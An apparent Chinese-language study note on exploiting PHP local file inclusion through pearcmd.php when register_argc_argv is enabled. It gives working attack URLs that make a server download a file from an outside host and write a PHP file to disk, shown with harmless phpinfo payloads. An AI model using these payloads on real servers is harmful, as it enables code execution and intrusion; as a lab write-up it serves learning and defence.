LFI包含pearcmd命令执行学习
前置知识
pear全称PHP Extension and Application Repository,php扩展和应用仓库,在docker中默认安装,路径为/user/local/lib/php
register_argc_argv为On时,我的理解为$_SERVER['argv']和$_SERVER['argc']会记录一些东西,在web模式下,传参时用+连接的值的个数就是argc,各个参数被存到argv里
测试一下:test.php
<?php $a=$_GET['a']; var_dump($_SERVER['argc']); var_dump($_SERVER['argv']); ?>
这里是根据+做分隔符来判断,而不是根据传参个数
利用条件
目标装了pear组件,register_argc_argv为On,可以包含到pearcmd.php文件(不受open_basedir和文件后缀束缚)
利用原理
当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令
利用实例
ubuntu下安装pear
sudo apt install php-pear
安装路径为/usr/share/php
在/etc/php/7.4/apache2/php.ini中改register_argc_argv为On
test.php
<?php $a=$_GET['a']; include('/usr/share/php/pearcmd.php'); ?>
根据pear的命令构造恶意语句
pear install -R ./ http://192.168.2.108/info.php //下载构造的恶意文件,这里往里面装了个phpinfo
将各个参数用+分开并传参
访问test.php?file=/usr/share/php/pearcmd.php&+install+-R+./+http://192.168.2.108/info.php
攻击成功
不出网利用方式:
构造命令
pear config-create /'<?=phpinfo()>' ./info.php
访问test.php?file=/usr/share/php/pearcmd.php&+config-create+/'<?=phpinfo()?>'+./info.php(这里有个坑,直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改传参)
包含生成的文件可见攻击成功